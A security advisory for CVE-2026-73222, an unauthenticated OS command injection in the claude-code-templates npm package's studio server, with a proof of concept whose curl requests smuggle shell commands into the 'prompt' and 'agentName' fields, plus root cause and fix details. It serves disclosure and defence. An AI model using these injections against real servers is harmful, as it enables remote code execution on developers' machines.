high · 8.8CVE-2026-73222Sep 3, 2026

CVE-2026-73222: claude-code-templates Unauthenticated OS Command Injection (RCE) in Studio Server

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Running 'npx claude-code-templates --studio' starts an HTTP server with no authentication that passes user-controlled data directly into shell commands, letting anyone on the same network or a…

Packageclaude-code-templates
Ecosystemnpm
Affected<= 1.29.2
Fixed in1.29.4
CVE-2026-73222: claude-code-templates Unauthenticated OS Command Injection (RCE) in Studio Server

The problem

The --studio flag starts an Express server (sandbox-server.js) bound to 0.0.0.0:3444 with no authentication and a wildcard CORS policy (Access-Control-Allow-Origin: *).

Two POST endpoints, /api/execute and /api/install-agent, pass attacker-controlled request body fields (prompt and agentName) into child_process.spawn() with shell: true. Because shell: true makes Node concatenate the argv array into a single sh -c string, any shell metacharacter in those fields executes as an OS command under the developer's account.

Proof of concept

A working proof-of-concept for CVE-2026-73222 in claude-code-templates, with the exact payload below.

bash
# Victim: start the studio server
npx claude-code-templates --studio

# Attacker: inject via /api/execute (pad to satisfy the 10-char minimum, then shell-break with ;)
curl -s -X POST http://127.0.0.1:3444/api/execute \
  -H 'Content-Type: application/json' \
  --data '{"prompt":"aaaaaaaaaa; touch /tmp/CCT_RCE_PROOF","mode":"local"}'

# Attacker: inject via /api/install-agent (agentName is completely unvalidated)
curl -s -X POST http://127.0.0.1:3444/api/install-agent \
  -H 'Content-Type: application/json' \
  --data '{"agentName":"x; touch /tmp/CCT_AGENT_PROOF #"}'

# Confirm both injected commands ran
ls -la /tmp/CCT_RCE_PROOF /tmp/CCT_AGENT_PROOF

The root cause is CWE-78: spawn(cmd, argsArray, { shell: true }) does not isolate array elements as separate argv entries. Node.js joins cmd and argsArray into one string and passes it to sh -c, so every element is shell-parsed. The ten-character minimum on prompt is trivially bypassed by padding (aaaaaaaaaa), after which a semicolon starts an injected command. agentName has no validation at all.

CWE-306 (missing authentication) and CWE-352 (CSRF) compound the risk: because the server requires no credentials and returns Access-Control-Allow-Origin: * to any preflight, a cross-origin fetch() from a malicious web page delivers the POST with full effect, requiring zero clicks beyond the developer visiting the page.

The patch commit (bc4618b) removes shell: true from all spawn calls so arguments stay as discrete argv entries, adds a strict allowlist regex for agentName, binds the server to 127.0.0.1 instead of 0.0.0.0, and narrows the CORS policy.

The fix

Update to claude-code-templates 1.29.4 or later (npm install -g claude-code-templates@latest). The patch removes shell: true from every spawn call, validates agentName against ^[A-Za-z0-9._/-]+$, binds the server to loopback only, and replaces the wildcard CORS header.

Do not run --studio on versions <= 1.29.2, especially on shared or public networks.

Reporter not attributed.

References: [1][2][3][4][5]

Related research